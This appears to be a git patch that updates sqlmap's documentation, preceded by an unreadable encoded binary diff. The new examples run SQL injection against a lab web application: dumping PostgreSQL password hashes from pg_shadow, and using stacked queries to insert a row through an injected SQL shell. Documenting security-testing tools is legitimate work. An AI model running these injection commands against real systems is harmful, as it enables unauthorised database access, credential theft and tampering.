z=rtwBf7MOb_K#sUE0=Byp2fR7RK@RYURUP0jJ~;9`KR^uP*=Yj? zps4?}z_|=C%rt*05IA%eMj}QcWf%r!Q)hcuCu37*B6eoZG-7!W)-)J35LifNj{ocv zrA5nw;3R!IGvYC_)3Y%VF|n}Hb8@l~u`#pLvvM#KF|o4IvvVXBI5Q_{Wvix9s(~Ot zh!SbD|7!z*T|vmxMASi$iI}|AYZbYb}UiPHAuK+w}R z(}4}spw&ST(qe>wp+MQ$nEvZ`>e0}4U*|;nH-UJ4G~LVAN@c*3RUojilVcY|k^QG0 zK^np;8rzJfik#N%B#=2vr0TORZp4u-R-Txe*G4vjtX z(rK{U*)?DUe(DU3-F2>4E@@fCZiFx`jKoxpNc0(IYm^=n&$j4H=Sjf9R}ly zrC8mh#ppR|Ty3@2_S&%Gu#b%uXq`Gf{LR;t?kG<3oHXoAwFgU0;qKTNNl6*zOqP+@ z{fIJkQ40Ris&7sjP8q=gfQbApmEGFd5eI??9sHxKIi3;49B98 z{A-m>4!lDD%4sW%L%T6`UtB7wZ_*?z&Ze!ynry5n0+X&(8X=J?pn8HpC4dAmSj+^c zM>5ULbhYm~Xe%kHNrVbZ?sLO@e`y2Mg>?6^bD>Pz?Tb-W_ z#EC+lQo+D90UQmAsf@C;1v~wab#ZTMgr~|79|#MpV=Q6tracBTyNqvWEnj^uPzwa# z#fpzdb{}g2G2u!T5GLu-%IBXN)Lr{A5uOWg4U$9Z1vE=}f#Dc8xHdaOzAk1!;LQc57yh$THr5itM|tck83-I+kv$>C#v6A@ zYKma8KP7QeAuSXXhrHJLDezE-kd!!!3Fo=E?7Pr|VRan_aL^s@clY-axbW{~My}IG z#Oy?WgTnE|f%`Ts)H?gJVMY;;?(Czm{d=vQssNP5#FI73tYz(HW-Zrr9x*6n?HML( z?nB6e+qP&Hw+0|b?eAe=THL1OufhFJINxOkskJJ3&q3iMuhi=MN+-DhpgO}dzrR`( zA%WAsx5)n)7^fX-UbX(@;|bJQAMt{4AM1>JYPvsLEm}v;$*{Tf2hxrwWiT`KcE-OZ z)+)ccIuKJ#lvf6`ki!f`xz2sfy3YA&K`OkfcL3YPiv3{l`=!bcbdVKB;WF0GIoKYA z&qyLWiaO275(27BYSn1KEXP6;^2f0Bi-MD+VzFOMhc_fiUZvKyfaT?tWCq8=lIj-wMhbI?KT{Q7R@9%`SoEf9sL}s(QN{ zWOmKF0DokT=3IDk|9(v~x9v`ziafQ5Fu(fnQohR8h5Wsct0V!MioP&6Hy#pe*@B!f zZ7jrwe~P=PtQjc0Bf}y1c!GWRzf!k8kCp$??8- zMZhfaS}<{MXakskj*3AqfUgO39yj z1DGys)@$SaMq862a*{iZh&QqRI8cb~PY{WdgfYjGWm?S}ea|&=PoKjm(N9!~0X@!H zb;-G=C?W_V(M-4BGpid!t7DZkZor`e_eB;32d6}Oss0i8`>bX1YgIXcQpl!DYF|;F z2x|^Uo0}+Q9Hd~P#G^|D=1#*8HyPDH6wtvjA8?e(EVI8Aw6+mSCQKrXO?9dXA=jKt zK(9e<{>3?UO8q1A1xoZCKX!bc7jdx|>ZXECxY&paJ9(kDYMF}P;gi84)jUlIbwo0^ z1_pdOrzByV9v-7b5E?Ux4PNQtG%1WWVGltSV%_bar*|lZ5)!&DKh8I~zL)!V007nH z_LLTC^{`*(k5kx*#nrBR24e(uNtJ*{qnv;mZd|@8V|5w8RX39@c?Kspt{d~0UWWsy zn7OKzRFfPInTqm^HWxid49&I6x9h$gRrxt30(o(rk$&UVEkhu=YN^Fg|%U~F8Ro(Zzx7HEP2Ps zfs0$ARRVogS}2t{mqI;Ji-*)!<9Tn=|TXvGMFF)wX@X0_3Ciz?DlxDAg(&=z7LIw%?NxApH#@5`@nf<0M#P#na9A z&m${T98C=zjWU0am6YI(+6Lx+qaD~$c@&}8e&-Y@SR46NxGt*#M(&8MK5Cj&xF{w%(}pA#2G*^DeU0wz;fXP7 zOnm0T9qy@T1ux7&b=zg-$?L*0cg3#Su4?uw*M#A04yBzW@?uxhuP9^F14`X4*Pvd~1~SR;%WUWTi)TJ-mqW z*=XAsb4kKdF5GU~s8}ri7bbK&&7(n@E;RuFv9l(=;dTxd&!nU%wvmGHP)%vxAq)@{ z4HHEIC?E+7#W$AH9{7|_*!_~p`v`;yKm{oh%(O7$B|$q690f&D6aQYh_qpz>8g;6D zT6F+ccS@t*N7v-rk8K;d+3TiN-*U?m%dRIPjb`jWs@BE&e71rR#6|n$(M&aA)BghG z%IY+AWH@`n(90Nb^GS414Omt+Do!~AVX{!~|1NtTN}Jr^wCm{W zZLpcB#VYz_9g!_<@v$j(r3=F!;^Rw=z5XdKowHnPu%z5{>=w;eJl7Dxf6)OHODXDR zaBHj^j*?eekW$kUqLd3OShEGit|SbLrF zT0^5<20MxEK>%?b{1m)K=+tiwg@V6wCN$7Qi^!u77BIjRL6&w-4Lhsld-Aa@(C&8n z?DK%XH9r>1=D*uF^~F1heOm#E(V_Ok0$xn$4V|P(GVcTu%{NU zMk7z&nD&qWiwcfByBT?i9?VpCFVBUWt!yi%-x@Rw{LdehYM&rHalwEmDsLvk&I;kp zrI5#Auq)Pe+l*EPHRGk)$F0;i-JaNY?Ozm6wsoNS=dM!-ufIFpJ16Q~duG{^f%0kN zuI@HjQP-N18uSH#fvWR>fM$*9UiI9yLO>k!)F&zx-N~naRe7qut4>2~4qOQ*n*D|^ttHh})BL61g%G1T=gi!$ zrBl~a?m}&#*W_ezVa(2(e!n<&sukJ8?^dZj%y{(Q&UgUXQ{V#%8?LWm6fPH$Fl8Pe z8gjRMc%pt=yc4Sup`yNfwHd~4hpU9wjsGfCRq&~qDP9>eial`YmN#ahK!+#8mS6uM zD5=nzndp!gyiJaofP-`ARDmvFNAqp+RE71Y4f52;U*F zHRPIZ5(5qDu&f5)*R+jr_naWn94yG@X4`g~mYK<=?MjJgu+?Q83Np;(dZazT*0&1*HBP{Eg^?*rXBK zfxxA)8iHv2Ps1!W{HI4M0)TnbP>nz^(ry=lX#g!6|Cj%S1QeMrBAFJOGPGDm3sX09 zWu}*OKyb3Tc-bpL^yp~khBC4BXiO}Xo=}-!_~6dtWpl{c_7}U&!NIQGZodU?ER$P| zqs1=@xEM-Yot^a&lwJV4jp$&%heZo>&?|7XwK4lEJ7*4}_(`pCFy*7}PCB5j7(QC~ z68oXV(bmht0-Tts&I+e#@9Oj6bo0*bF#?k)%YQ&^!#!l8U#&L4b_Ysul|p!x1nU>1 zF)@*_aK{O^6uBmQ!`;=~z0PcRu3k1G{zFx!TD4sxYupj-^p7F3LX?jDo62~w=u}bn zxJHV&gp;8vdPcI9+NyM3dKJKBOAn;G2@i8HP=7Co4wBPhfSL+3zdO-LiYE0Tc-ivn zxt7-AameURdFGq*%el1BQFDp6cI|Q_jRP9WoNb2_8QpVRN}AYK1ZfFUYdBh_qhh7c zYrC@COGHlgDnJxkxB9Pmf?2dks~)O@Udg4O^ZT)yb?PXu5@glk4jZ7_OF7=cNFm?hpPfzaAu#Ppvl$ zn|TIAUwar@9man3^c%1f8Z_)|DOa6FM&+a&=H;EDtBp>+X$L_5*8~Uem}c@Jc)se% z-Th(-8t);=kA_uFGV8+8&EQM@O>P+Ho0xh?nA_dGx3D6D;c*8hswJQdZkatTpYgU! z5%)#JcGx5NvYTJoC?V7!gkU=1Sd;7_~$~BF-bJ>+h1{txJB9&HzS4& zJHu_&&!j#U4vLw1W7TlWu31l;rVbO?3m@z)rMYd#O;;}h4}7`S7S~Gwec_2 zMy6ER0UztN`(P|C39gsTWXSCXOhsRX`$YuByI3``|2-KU`ZXQ+fjjickqN7lFeVp2 zBRERDTMi(>$5X--ZV(FZlV_TXI_dt!xd9H@ano)~<3(9LCDhas z3_EqfF2Z<|7@_+?Jb>pUlk?B^QE4GdWrUQG@IukxpH%exB&_A(NCCmTvO3kB08L`e zrlcyd7$EwpqTWVK*fR_<1`9XDw{NxS>!=wSb#H)eSv?iD%5bF}uC7=bBCD#o%J5p@ zUynIN29LhW8;AU(&Z{EGX>a=9IBLz#h14&Wr?CZ5iAmv=iB%a6r77#lR2eX)R7k8(ft0p~E+Sho47?BIOf3KGHu{ zR#E^IpT5`-d%`D>+kZ(qWA5aHX{~N_5C65*XGRz0edxghQ}Lgs*Tge}QA{zJH|L>` z#L7J=d@qPQRnjVB+tI#e#oobgo^tJb;0*}#(Y(>|Pw$!50re$~*@HBw0eHsy*_VIo z2ZC<5iu*P8npnRtL6>iprTTB|zYML+vG77?PecBI+_~mq{BPj&W%19i!OF=-&&9%( zreybTv~*$#5(vzeh71cv1Bg+bOw3|L>V81yUWaVr1%nOKQ8u+Vt#XnK$=2bA!ZL0I zF_e0}d%^zHzzs{`iV)`Gjyzf|Ih)tlWt0?aC#_H$J!^=iT2wZM~ujd<3zgCD?z?mD2lYjG2m68^asEEN`t zTf+q@l{L?T)FS;74g@KYR;rWvUR%&Rd+4kYWR95|7<_285>K0+tXz_gDupC;5d`j3 zC0gd(S3aV`)#Y~Lkge#6e+#XEFK7ACWq3DyTxb><*}z*u1|-ESg=93UNte6k#>URk z9x*Ztxqni8N_tqON65IRFBPpXjyZ)LQ{_tc;N`75@m@5j%~NqmUd^c9wpL0IEVhDs zvOYX{N3sk4_=v4?E%t{lgu0y-QPi?RTx>m-RM*;TDkw$R6mT@}nOb1xiNu&KE5gfP z`x!iXyI(d{sSz6z65YDtm|&huH4%cXf=jymu7Ui!n_r-Igs?I#IYRiPKla_%Qd?Bb zdQ2^QBcVk#^t|{gPT50`II@Z|1r$S#OOD;E%Gc%FyT0n0tMLOg>`9^gzn|A+3$mZO z0SuEQU_zEQZwG<_!p4|3zyVAJSpNS@1hAq1lnCe3i2+8Zk)@IiEi~tTSc&=hWa|s$ zGLfQWPklQH5?rm5-7WB~zD#jTch`G8yoHxqG?Ojc(Y4}e;;V%#OHHK_G8Ty%XI?IT zXIj|ReJwgDqz$e`%`0k1!;Gmbqw`_&br180OGRqJiDOaKfHxG|SJFEX>s-wfH^~wC zY_R9D*qYZ@r*AhW=^^|tqUZ=*f1wh5aAng&D+>djMx(hHkctbiUWM`-nE)`MKyR(y zef`V^RIh?BVY{#zgeRb;IGD}yJ#f;9UrU^M53F^ORk`kIwn+5t}oZs_PWkF&;6Wp@B4S3=U+ScNlgE)+sC&JJ-20g;WMQRpSdpm6dm2u zda&`JKA>&udo2caPOV*Hg73EPc9v`Z(!ZDX&U`PwpWl?Q^-lEN=2CQ2;uKjQ)Az#;ii8J2!IeVeNiz<(YHw`#ZJGg{Cvqg!c z`6rw#_Bv0kX`O4{th;{cwi2hSR2tM|%8w)4McmkPeR$a-p`RAe;*aL}KD1MR_e5;e zBmbB!`_4XEJu>{u?*@!+G4uT7%akVBe!_f3Lj0!0qdY+DxC>@LJq^zn`xBMdyXn{(1LUpL?la zN4kAeUfsVG^1m^g))b0$N9>4eG$*;n;uU$qF9s&=T~S9n*lg0xJeBYLTMAsi_S1Tk z{`jSN_X=;KMs+{+cvgk+dzZ+MntxSkY59TqhuqNO+Xr@dvoE^CYrpzVn|mYL&&#`U z--mH4ieE__Gx@jBR!j2uZ(Tfpb-rDLBhr#rY-%#=MY}V@YJ7P2ROqT@jYci~*FEo* zt9LyMFP<m^X&Sa4~_r( z{^9>tR+hFMxN*?(w6%--e0lWmHA#Jwm*20`*{Rc6^6J@dS+xy!lSHv8$m z$uk2FZ;SWZFu(VQ4cEpO8KLazIWA$}`W3U)sjq+e;bq(plBE?maPmpoJ2z5GZ5`BN z-2K|$m#tgn^LkB+7dq=)`JuPlE2y~Jr2XE0Ymyo~8ad_T2h*m<_UO3wj|QK8+r`;` zci)zln--RwIke)!b3GfEn3Ytc+Pr3;|NWQG-g?oo4ZqE^`&iSe^+&C!+UoMFc0KF- zbu3_Rtn$x_`&TcW3R=GNoxAIHlqzp7yIjAbUHDc7ug=$-$@x3Q47oFWRzi46T*96! zcXnTV+<(QiMy;ouWU7d@`q>Wgm&ed+vm>rL+lSMF4}|4-8D%XMF*{FGXF<(rN@D*t`ERqGDZ zr<4s%I@`ev-?=7jZh;d?b32Z!o%FBHvzm;((5B7Gg|UT_yOkR^xzM~3T2S61Kc&oi z`J~#3^5gO)L6z8v ziSzn5ssCY+_eS66JC}uSOOBi3yS;0<*;^KG8QA;Xx%EEl;?}yUYWX%dunYY2?@|p{ zSNN)x+BapVb7Rf=U5D1ielWM?iz=>irC#fb%9cy_?_OLq=1Gf}&y)70{^J%scrfP1h5#Fx1thtS5;vw&%MzouHT}V7DKCq_Ir`)>vulk;@Fh=b$8A6Y5h&qwLS~l&)a!n?A`Ud|Jk?vi(c_hdM37*vM*%) zi3Mr9Qoo#jd4Kai>yR2Pb_Ius-of%y{AhhM+TNhqMos4HBq0ZK7VadEeLueP4F@cGbgS4Vqp0C1TYdHA{Y6B5X~a0%ni# zH?|h}@$jhAEvF2;w`)!1Le0)E9JMxVSk-Br8!!Is^y$ML^oP^#cI;9kYVQY=oq9iq zADpmma=o%YuI})|yCZ+R)@s+hk;7bb^nrl3dwyv1(ZmjC?>}g{F??FZsd>kq*}G+O zw*tpj-}`b(@}pai3Um+5^IaLg=<c<^#pO5xsH_UyZMYt6V$KW|9u_A2W7-gP}bJzxD$=ctEI zd%Sa_;jQ|2zD?{mA#!m3RX_LnY{8frLAS3j*gF1&|Lte(YxK3k7ljR4-+of-xp%I0 zfA_oZhpcEHbF^)lWqarQElF+f+zMO$-Ns}2)B(RPjfpwB-)G6~i*e6O{bcRj9@%2? z&?EZPgB`ZbYZzAfyQ!ad+;FtGGU}6qc?U$B6xHsdl|u$Dj7*DbG9vb2=%b_|_t!@li*{UnPqieyCTK}6+ zVp%aKVncFj#jx=A=PX(@q3x-INI4r-9>2f(j8F1bf4Fg7m%3s3mbSPYl(&Pru&LkB zFPhF?P%|cedE}*6yDvo)>m)brd!}=IV$#tDhl`$Cop;ZS?`Qs4{`$)v!-w^afAB1| zOvmtnp@*ZU9r++OdVisg?@hB#UOKsCLEXB=E99SLOkW@Hu&-0U+@uY63KUQD{=H=4 z7eT-6)q6ZHw5i~p3(it|>JmHeli&wC-W=((salbhf0Ul|Xl~KCDy7H2_xeUF|9{RL z`F;FFb?(j7S0~zSf75nKV*KOZXO~nLFZwdEdCJ9w)e^oh7H}$}dZ*c+ zJ$*X(oIbnIvg8V0ovIw`*!j(pP9aX05dm9gte2dH)Ic^>Lr!OJ=qn z7?4t@&t1Qm7v*MDJ084p?x>H;`<{sKPuyKSD(-cihBF_xDF2^wLqm3~DC$IpX@5j- zZQ1kjuMG#sj5_ts7b}XlxPSZGM)L6*zkM-2Z_l6dE3eu#?47r6>(^fg`40VcW~rSG z@2RUPp#5^Z*N=} zs9(Y~(PE0RL$~nxL%f)h89~9R=VFTOUN>~ZZGIS2Z1=j3TQv*B6n~ed z>+T&f#aOSahUMBvFootMIhSI|?$jeVv&PR11#!=b$2dhy zN>xF!jc8(TP>?ugacH_kqW3XZxhWlJhF$OCJ zZdW%yo$HhirCK1S7&{crGTl3vf-~)K&Zmmo{ESacE+R#hU{q&7fk{tMB+ET_#>XzD z*^F(94C@X#>tmHRY@6{wwr$HDeHM>OI^%+zZdzhev6-l3;jqh`!=%csTsBph*Ez^h zVjfX8V9N>OLCxS)bxn5t&SST-VY7qEnr6At=Rp<$kEn;N!d1nKCr!&_OqLZxai5D> z$;{=TG6F*L3)qs3s7whXdbtbICv7Hj8DVYPoeMr|yuD0!&SjsE8zQt4E-RL0Dda3r z6|mm(Rf=v~IK6zur;1~ml&Okh+B(^sVnafNiX`hgwN#857U2oTETj}3hm~YQN*9=W z@`_KJjIQFJJ|)7*hVcU1U?fagVI)iuLxzBaLv%z!td)oyFlHK@ zge@+cioeWULW0s-j9-?bvy(y)8QUzJ<6+&@++tU8EcPzTve~Mbd23^|}TU^o{T&OvH+0TkKVuWaH~g zkf2Unk`a;NQ?B_`2kyTdD;)L`O;f2<70qBrRWyi|9ACjlE0n8{pF!CK=PqTe%a)*G z8>Z(P?CZus=0G=BcbRjbxVq5Dkf1D;Z;rDy$TXcw^a!V20by> z6K^LeI-EIKhe$_#fow`D^>*+XNWtDdo6Q+j!yPbp;tg4hm#Q7iA~SQzX09g7n&cL{m5bUzWGKfxEnLIpcP3n0RSdVAAisdHXfpg|93sjBWy6eOrpA?08qHYAhn%zzy$?r}ka>YxGsQ>hxNWKwn-s*04a z;$4uS5-}u;`Ff-_G~<#CSb*sc5hN(v3npv*@=2XW;?TyS$dLyO$|wy=ceIY4JIWME&|>|kf5wH1*a(qXgKAWX+qNOa*$vS$OLvp z)yOn)Zc5fhr1u;HizODhEk(Aes#>xD>Czp3wgWN&1ffasAQur^n#P=srJ)G*e7{KB zP>;dI~G!Nz%&(8a@z&UGU@=K z9xM;HE!demM3A7&wV|X`#cb22sVC%!+``=>NRT%QXqAOTNZsP=6cd@q-ylJx513M; z?g(TBvh0zaV4VR#sGA@`4kAmyz}OoVn>q)qLyhci79@yy$daLmZz05AX5EG5CJmNY zr$VS+kGQS^M6~%X;L3@Mk|j%`l{)eOh1Q1{V>*Q~In&y+tQZ7Qh`7tKC#q;DE^r8P zEM#aF(O+4H$57lyf&`yZGtDE5GcwXVwhn28Vb zVfX^Cf~5|@Q?wuxdPCDT0dHjj7Fluuf&xq3lPd`Tx773$3w;>6ciTkUpjaw)LG?_r zz#F!lm8G%@>pn;MP$fLCbdNl4fwS20xssQ?Lv+39Om$QMC<=ofMf!##omu5#wQr z8iyt$#~=hXS$r7n=~nRzASM;62D??Bgy*XuK-AfuV-Pb? z3_6C6O~%%<-6}#561J;iPgLK~a-r3`jP?!liKr|os)cpj_A~^4#yV7%8Rv1b_>NE1 zDXIq8i-#^9g+JXisst7bus@1wfgY8aBceR&8p1WmB@=VV+90q*7IuN-P)Hs0Eao9m zm*`Y7B1O^N$xnTXIDmd=Y692G8LR`&CPIfIa0crLAB;z)Ve>60BDZuras%D8Xvz+Z zg26%h#41ygFY8 z9i`7Ys7a~Gqj;t1AL2SxoIZ@|l86NQghYt069^?6)6%(M=S$0SCNQS~LSP?tEYnmPJmCwh!}1xYWROK@{;h*($hdszCfG zJwzi9u7dwq$U21Z$udi?O$~3R1QAO-2nu?LCDg0{b}*d*dLgkGhNw=PA%Kw(B^Axz;w&%{Pp*kWqU}bl&oqG<(0y9DydRZ1 z^;zOk_Ils~pjQ~u%%LW3H(y`u3E`SC+18nZ6j%xs5Hed36#vR5i^Pf9kp&EgYNV*! zv3Jj~gMgsW&EwpxlCltBDT8o*hXS`UQWlExU`);7M>E0>O3ci{GfR*bAPBY@bc3k0 z0L!wRz(S%+C1a_8dnmVRAi}egAT^_EYNeMi4)Qn(1R>MF$thi(;e=QRw27@lZ=8-9 zXr{8Ubb3Tu$i%7YSV%A!L6e~M2Mp`!W z{TN~y3s5-ztb+oXu~0OQ$w`1kvcwquO{TLDCgYZkWP)l0a^-ZL75vZAPg~abOVFvN zR*JqPg*6dg7!)l+PNp}@eg~@899&J8KN_t(wXx9^pdtb6%aqGTLo^3L;W}g+)f+o8 zqAXiyI4bR@0kS~zgR&Ol~Rg>(mot3=l1)rz$y$g7lgIS1mI8o!MCq2GK#F597UTGiU|#bqt0O zcQ+``C4z^iBL@F5$P^A^woGJg8&{q0lw8$AfVC=-~@GP>&x6fu(>KKI2Bm{xpdT6UqRvEP*Wj~N#niFE3Nz)KT zz{Z|t?0_J$YGR)lW8fCXJPU;M%^>(wE&%DJ(Hq9jl@Lav+YUW3QUuB_;AH%C&|oSO zpj%AF2t&-8z|$-}ax!v!)S&DN4aU%=rW@2HW+gJTn%Xulx6z9y0Desh+B+CT9!Ote zfUj&!%aLWhwPReRrx6ffuT7I8$QS&l^pNDs!RhfQ+o>RVraKfx63vh>#xQ=20Z5@Q zLHmr2p?{X8Z_e9m_2?$3oP~%)j0+GaWi|ATCepZQn(5)P4+n#%Nr~bJW2EK;gqkKL z;2+CpF=l2dQl=h>H`7fc`=jMMhSK9fI{&l06i|7laDd)f;81`iQ+Wc@S-Ck;-x5=9FbtkYTYf^JMkQj#P8 z0}xNE8bw3RK>Y&z2g?`GJYd`cPDK#_q_HGJ0{<}xjGD*}g$}b>=nTtzP_R*SQ$cuV zBEjb?^a2HZo~$`kCK`MNb(y%3#@wjTRkjXoCMr%%gSOJcA+N~rqS^T$fM*tZaifN1 zFUV7vt41P40S4ULV|RKmrspg^q5H`H(1+sk#Pu$!)f!Mn#w`I@(bJ)fqo$~ddo*+% z0 zY!gV0s3`EO7b_^u7g}SCj^Nb4=^en`40rtvU97Bt|SYptsE!p3$1~l#IC9OEn!gds#sO zAcZ!7k?u2e9Ai9@L02hk7>2 zm>6PQKy^fw8{d>M7Y&EX49EnpnTRuzRl)x(!$1#>a{;v^b+focMtg0zSZ3yEFuVmS zOw=Rn#Xz`o#E^9Piv|&kX!x0ErkDWH*-0#Xvq9a62qDyQ0ncD%nI$`{KaXo^xF<@y zo(0S$$F7Cv#5#@v1K{S*BA=!f354mbMd18d><4JV6b>0XW1)o)YS;$h)7b`b`+>cf zB&&k|xI?J1dJx~Hv#b_13QIC9oma)^kTE}pzB$XVEkkygy~A#zm z$fuSAPr(Wj6jmAjBS$5KfXb3k^m|F_EN1I*~Cr<*%9xEyIlCcv3Qy>#_+Jmn1e6NkcIJwZE6uvbLN)u zT@Op)Fve;C@%;~t${0h5PAVY`;`@D%9b$vHTfoNP&WH~Hda2N~8)Nt;ozla3GsiM3 zAuME>F2>MHqYpzf*=7*zh@Zy|GS-sC7=v*g{GtN$a2R9vdoadYvKV7+cYtb07|5oP zr%*H%>qHN_hj8UtE*OI><--{K86(Kxdmwl0?ij`ZD!Y3s`j+rg+*Xx*n|vH8I?KAQ zMnpzLNR4f&iL6I9)uhPAx*dsIS9bm2cmLldF~Rlg7aTUc+tA^k4(-*uAl`xx>k3w_ K+O$n%!T$r<(u5NL diff --git a/doc/README.sgml b/doc/README.sgml index b2b0e0bef..29e9f3758 100644 --- a/doc/README.sgml +++ b/doc/README.sgml @@ -3448,7 +3448,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql "SELECT usename FROM pg_user" -v 0 [hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y -[hh:mm:37] [INPUT] the SQL query provided can return up to 2 entries. How many entries +[hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries do you want to retrieve? [a] All (default) [#] Specific number @@ -3544,11 +3544,10 @@ do you want to retrieve? [a] All (default) [#] Specific number [q] Quit -Choice: +Choice: 2 SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]: [*] postgres, md5d7d880f96044b72d0bba108ace96d1e4 [*] testuser, md599e5ea7a6f7c3269995cba3927fd0093 -[*] testuser2,

@@ -3686,19 +3685,40 @@ column names of the table then asks if the query can return multiple entries and goes on.

-Example of SQL statement other than SELECT on an Oracle XE -10.2.0.1 target: +Example of SQL statement other than SELECT on a PostgreSQL +8.3.5 target: -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-shell -v 1 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1 [...] -back-end DBMS: Oracle +back-end DBMS: PostgreSQL -[hh:mm:20] [INFO] calling Oracle shell. To quit type 'x' or 'q' and press ENTER -sql> TODO +[10:11:42] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER +sql> SELECT COUNT(name) FROM users +[10:11:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users' +[10:11:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n +[10:11:59] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) FROM users +[10:11:59] [INFO] retrieved: 4 +[10:11:59] [INFO] performed 13 queries in 0 seconds +SELECT COUNT(name) FROM users: '4' + +sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell'); +[10:12:35] [INFO] testing stacked queries support on parameter 'id' +[10:12:40] [INFO] the web application supports stacked queries on parameter 'id' +[10:12:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');' +[10:12:40] [INFO] done +sql> SELECT COUNT(name) FROM users +[10:12:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users' +[10:12:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n +[10:12:53] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) FROM users +[10:12:53] [INFO] retrieved: 5 +[10:12:54] [INFO] performed 20 queries in 0 seconds +SELECT COUNT(name) FROM users: '5' +

+TODO File system access